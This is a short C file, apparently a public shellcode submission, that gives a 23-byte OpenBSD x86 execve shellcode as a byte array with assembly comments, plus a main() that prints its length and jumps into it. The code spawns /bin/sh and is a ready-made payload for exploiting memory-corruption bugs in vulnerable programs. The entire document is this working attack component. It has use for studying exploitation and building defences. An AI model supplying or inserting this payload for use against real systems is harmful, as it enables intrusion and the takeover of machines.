/************************************************************ * OpenBSD 23 byte execve code. Greetz to preedator * * marcetam * * admin@marcetam.net * *************************************************************/ char open_bsd[]= "\x99" /* cdq */ "\x52" /* push %edx */ "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\x52" /* push %edx */ "\x54" /* push %esp */ "\x53" /* push %ebx */ "\x53" /* push %ebx */ "\x6a\x3b" /* push $0x3b */ "\x58" /* pop %eax */ "\xcd\x80"; /* int $0x80 */ int main(){ void (*run)()=(void *)open_bsd; printf("%d bytes\n",strlen(open_bsd)); run(); }